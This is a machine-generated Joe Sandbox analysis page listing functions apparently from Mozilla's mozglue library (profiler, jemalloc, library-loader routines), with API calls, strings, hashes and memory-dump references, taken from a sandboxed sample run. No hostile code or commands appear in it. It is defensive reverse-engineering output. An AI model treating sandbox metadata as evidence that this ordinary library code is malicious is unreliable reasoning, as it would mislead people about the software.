strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C80CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C80CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C80CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C80CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C80CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C80CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C80CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C80CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C80CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C80CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C80CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C80CE8A

Strings

Unrecognized feature "%s"., xrefs: 6C80CEA0
preferencereads, xrefs: 6C80CD92
markersallthreads, xrefs: 6C80CE42
mainthreadio, xrefs: 6C80CC7C
notimerresolutionchange, xrefs: 6C80CE00
audiocallbacktracing, xrefs: 6C80CDD4
ipcmessages, xrefs: 6C80CDBE
nativeallocations, xrefs: 6C80CDA8
samplingallthreads, xrefs: 6C80CE2C
fileio, xrefs: 6C80CC92
cpuallthreads, xrefs: 6C80CE16
default, xrefs: 6C80CC21
noiostacks, xrefs: 6C80CCBE
nostacksampling, xrefs: 6C80CD7C
processcpu, xrefs: 6C80CE6E
leaf, xrefs: 6C80CC66
java, xrefs: 6C80CC37
power, xrefs: 6C80CE84
seqstyle, xrefs: 6C80CCE6
screenshots, xrefs: 6C80CCD4
fileioall, xrefs: 6C80CCA8
unregisteredthreads, xrefs: 6C80CE58
jsallocations, xrefs: 6C80CD0E
stackwalk, xrefs: 6C80CCF8

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: eeada8cda0705ac4a1cb4094434e1bf5f9b514882dd29ed9c955d9841cf52197
Instruction ID: 16b740e47c6490352b67a86330f38af2026b78a1b133b41cf23e03b7e819b716
Opcode Fuzzy Hash: eeada8cda0705ac4a1cb4094434e1bf5f9b514882dd29ed9c955d9841cf52197
Instruction Fuzzy Hash: C45186D2B4523952FE3039596F10BAA2405EB6224BF107D3AED0DA5F83FB089609D5F7

Function 6C7D47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C7D4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D482D
__Init_thread_footer.LIBCMT ref: 6C7D484A

Part of subcall function 6C7FAB3F: EnterCriticalSection.KERNEL32(6C84E370,?,?,6C7C3527,6C84F6CC,?,?,?,?,?,?,?,?,6C7C3284), ref: 6C7FAB49
Part of subcall function 6C7FAB3F: LeaveCriticalSection.KERNEL32(6C84E370,?,6C7C3527,6C84F6CC,?,?,?,?,?,?,?,?,6C7C3284,?,?,6C7E56F6), ref: 6C7FAB7C

GetCurrentThreadId.KERNEL32 ref: 6C7D485F
GetCurrentThreadId.KERNEL32 ref: 6C7D487E
AcquireSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C7D488B
free.MOZGLUE(?), ref: 6C7D493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7D4956
free.MOZGLUE(00000000), ref: 6C7D4960
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C7D499A

Part of subcall function 6C7FAB89: EnterCriticalSection.KERNEL32(6C84E370,?,?,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284), ref: 6C7FAB94
Part of subcall function 6C7FAB89: LeaveCriticalSection.KERNEL32(6C84E370,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284,?,?,6C7E56F6), ref: 6C7FABD1

free.MOZGLUE(?), ref: 6C7D49C6
free.MOZGLUE(?), ref: 6C7D49E9

Part of subcall function 6C7E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7E5EDB
Part of subcall function 6C7E5E90: memset.VCRUNTIME140(6C827765,000000E5,55CCCCCC), ref: 6C7E5F27
Part of subcall function 6C7E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7E5FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C7D4828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C7D47FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C7D4A42
[I %d/%d] profiler_shutdown, xrefs: 6C7D4A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C7D4812

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 20867c91afaee447c1e0dbe186b717d233c7490bb60a64b61c7edb9ac3e5de30
Instruction ID: 4060024bb37f5fa2af1f9ada7065da22690186df3f3732aab75c930fc0584a4a
Opcode Fuzzy Hash: 20867c91afaee447c1e0dbe186b717d233c7490bb60a64b61c7edb9ac3e5de30
Instruction Fuzzy Hash: 01814771A001008FDB20EF29CA8876A37B5BF8232CF164679D91697B42E731F854DBD6

Function 6C7D4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7D4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C7D44B2,6C84E21C,6C84F7F8), ref: 6C7D473E
Part of subcall function 6C7D4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C7D474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C7D44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C7D44D2
InitOnceExecuteOnce.KERNEL32(6C84F80C,6C7CF240,?,?), ref: 6C7D451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C7D455C
LoadLibraryW.KERNEL32(?), ref: 6C7D4592
InitializeCriticalSection.KERNEL32(6C84F770), ref: 6C7D45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C7D45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C7D45BB
InitOnceExecuteOnce.KERNEL32(6C84F818,6C7CF240,?,?), ref: 6C7D4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C7D4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C7D4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C7D466D
VerSetConditionMask.NTDLL ref: 6C7D469F
VerSetConditionMask.NTDLL ref: 6C7D46AB
VerSetConditionMask.NTDLL ref: 6C7D46B2
VerSetConditionMask.NTDLL ref: 6C7D46B9
VerSetConditionMask.NTDLL ref: 6C7D46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C7D46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C7D46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C7D46FD

Strings

kernel32.dll, xrefs: 6C7D44CD
NativeNtBlockSet_Write, xrefs: 6C7D46F7
user32.dll, xrefs: 6C7D4557, 6C7D463F
l, xrefs: 6C7D4578
WRusr.dll, xrefs: 6C7D44B5

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 848bfe14cf353001017ffd0240b5df6892fccda99f0c48e6262300210c16a7c6
Instruction ID: 5ad11966a84086e8edddf7d8f7a58d8b03cd008ce934d443df2781c3352db039
Opcode Fuzzy Hash: 848bfe14cf353001017ffd0240b5df6892fccda99f0c48e6262300210c16a7c6
Instruction Fuzzy Hash: C161F6B0604258AFEB30AF60CA49BA97BB8EF9630CF05C57CF5059B641D774A944CFA1

Function 6C80E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C807090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C80B9F1,?), ref: 6C807107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C80DCF5), ref: 6C80E92D
GetCurrentThreadId.KERNEL32 ref: 6C80EA4F
AcquireSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80EA5C
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80EA80
GetCurrentThreadId.KERNEL32 ref: 6C80EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C80DCF5), ref: 6C80EA92
GetCurrentThreadId.KERNEL32 ref: 6C80EB11
AcquireSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C80EB3C
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80EB5B

Part of subcall function 6C805710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C80EB71), ref: 6C8057AB

Part of subcall function 6C7FCBE8: GetCurrentProcess.KERNEL32(?,6C7C31A7), ref: 6C7FCBF1
Part of subcall function 6C7FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7C31A7), ref: 6C7FCBFA

Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7D4A68), ref: 6C80945E
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C809470
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C809482
Part of subcall function 6C809420: __Init_thread_footer.LIBCMT ref: 6C80949F

GetCurrentThreadId.KERNEL32 ref: 6C80EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C80EBAC

Part of subcall function 6C8094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8094EE
Part of subcall function 6C8094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C809508

GetCurrentThreadId.KERNEL32 ref: 6C80EBC1
AcquireSRWLockExclusive.KERNEL32(6C84F4B8,?,?,00000000), ref: 6C80EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C80EBE5
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8,00000000), ref: 6C80EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C80EC46
CloseHandle.KERNEL32(?), ref: 6C80EC55
free.MOZGLUE(00000000), ref: 6C80EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C80EA9B
[I %d/%d] profiler_start, xrefs: 6C80EBB4

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 8d8698788655ab5a67829a101b6e003da932cec3a33f7ab04f6e2fd075c6c1e4
Instruction ID: 7bea766a83b822f87cec07a1caecee7cbc8feb6a701b9fbd6b2c20395f148431
Opcode Fuzzy Hash: 8d8698788655ab5a67829a101b6e003da932cec3a33f7ab04f6e2fd075c6c1e4
Instruction Fuzzy Hash: 01A1F2317006049FDB30AF28DA48BAB77B5EB9631CF14897DE95987B41DB709805CBE1

Function 6C80F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7D4A68), ref: 6C80945E
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C809470
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C809482
Part of subcall function 6C809420: __Init_thread_footer.LIBCMT ref: 6C80949F

GetCurrentThreadId.KERNEL32 ref: 6C80F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C80F8F9

Part of subcall function 6C7D6390: GetCurrentThreadId.KERNEL32 ref: 6C7D63D0
Part of subcall function 6C7D6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C7D63DF
Part of subcall function 6C7D6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C7D640E

ReleaseSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80F93A
GetCurrentThreadId.KERNEL32 ref: 6C80F98A
GetCurrentThreadId.KERNEL32 ref: 6C80F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C80F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C80F716

Part of subcall function 6C8094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8094EE
Part of subcall function 6C8094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C809508

Part of subcall function 6C7CB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C7CB5E0

GetCurrentThreadId.KERNEL32 ref: 6C80F739
AcquireSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80F746
GetCurrentThreadId.KERNEL32 ref: 6C80F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C84385B,00000002,?,?,?,?,?), ref: 6C80F829
free.MOZGLUE(?,?,00000000,?), ref: 6C80F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C80F866
free.MOZGLUE(?), ref: 6C80FA0C

Part of subcall function 6C7D5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7D55E1), ref: 6C7D5E8C
Part of subcall function 6C7D5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7D5E9D
Part of subcall function 6C7D5E60: GetCurrentThreadId.KERNEL32 ref: 6C7D5EAB
Part of subcall function 6C7D5E60: GetCurrentThreadId.KERNEL32 ref: 6C7D5EB8
Part of subcall function 6C7D5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7D5ECF
Part of subcall function 6C7D5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C7D5F27
Part of subcall function 6C7D5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C7D5F47
Part of subcall function 6C7D5E60: GetCurrentProcess.KERNEL32 ref: 6C7D5F53
Part of subcall function 6C7D5E60: GetCurrentThread.KERNEL32 ref: 6C7D5F5C
Part of subcall function 6C7D5E60: GetCurrentProcess.KERNEL32 ref: 6C7D5F66
Part of subcall function 6C7D5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C7D5F7E

free.MOZGLUE(?), ref: 6C80F9C5
free.MOZGLUE(?), ref: 6C80F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C80F9A6
Thread , xrefs: 6C80F789
" attempted to re-register as ", xrefs: 6C80F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C80F71F

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 6d669ce94c963adfdfc2b5ddfe99a39ed837b851d265a55711e43bc826163584
Instruction ID: 92df121f2fa6c037431c1d54317d6cbf6614c91f03fb997a62cadcacb7458266
Opcode Fuzzy Hash: 6d669ce94c963adfdfc2b5ddfe99a39ed837b851d265a55711e43bc826163584
Instruction Fuzzy Hash: 848115717007049FD720DF24CA48AAEB7A5EFD5308F40896DE8499B751EB30A809CBD2

Function 6C80EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7D4A68), ref: 6C80945E
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C809470
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C809482
Part of subcall function 6C809420: __Init_thread_footer.LIBCMT ref: 6C80949F

GetCurrentThreadId.KERNEL32 ref: 6C80EE60
AcquireSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80EE6D
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C80EEA5
CloseHandle.KERNEL32(?), ref: 6C80EEB4
free.MOZGLUE(00000000), ref: 6C80EEBB
GetCurrentThreadId.KERNEL32 ref: 6C80EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C80EECF

Part of subcall function 6C80DE60: GetCurrentThreadId.KERNEL32 ref: 6C80DE73
Part of subcall function 6C80DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C7D4A68), ref: 6C80DE7B
Part of subcall function 6C80DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C7D4A68), ref: 6C80DEB8
Part of subcall function 6C80DE60: free.MOZGLUE(00000000,?,6C7D4A68), ref: 6C80DEFE
Part of subcall function 6C80DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C80DF38

Part of subcall function 6C7FCBE8: GetCurrentProcess.KERNEL32(?,6C7C31A7), ref: 6C7FCBF1
Part of subcall function 6C7FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7C31A7), ref: 6C7FCBFA

GetCurrentThreadId.KERNEL32 ref: 6C80EF1E
AcquireSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80EF2B
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80EF59
GetCurrentThreadId.KERNEL32 ref: 6C80EFB0
AcquireSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80EFBD
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80EFE1
GetCurrentThreadId.KERNEL32 ref: 6C80EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C80F000

Part of subcall function 6C8094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8094EE
Part of subcall function 6C8094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C809508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C80F02F

Part of subcall function 6C80F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C80F09B
Part of subcall function 6C80F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C80F0AC
Part of subcall function 6C80F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C80F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C80F008
[I %d/%d] profiler_stop, xrefs: 6C80EED7

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: d94bb5a055c8746a095af0829497fa30b7d254ecdf78d1a6c6a0415d33592f1e
Instruction ID: 2086938f4df7199ea0d673449e82a7559561510c4eb039d5ab72f2f337120e29
Opcode Fuzzy Hash: d94bb5a055c8746a095af0829497fa30b7d254ecdf78d1a6c6a0415d33592f1e
Instruction Fuzzy Hash: E151D4357046189FDB307B68DA08BAB77B4EB5632CF10C9B9E96583B40DB744808C7E6

Function 6C7FD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C84E804), ref: 6C7FD047
GetSystemInfo.KERNEL32(?), ref: 6C7FD093
__Init_thread_footer.LIBCMT ref: 6C7FD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C84E810,00000040), ref: 6C7FD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C84E7B8,00001388), ref: 6C7FD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C84E744,00001388), ref: 6C7FD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C84E784,00001388), ref: 6C7FD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C84E7DC,00001388), ref: 6C7FD1B1

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C7FD322
MALLOC_OPTIONS, xrefs: 6C7FD0CB
Compile-time page size does not divide the runtime one., xrefs: 6C7FD26D
<jemalloc>, xrefs: 6C7FD268, 6C7FD311
MOZ_CRASH(), xrefs: 6C7FD277

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 2e6aae1a0900e57504eb09637f505b1b4feb0af27a85a20fdff348d99fee47b1
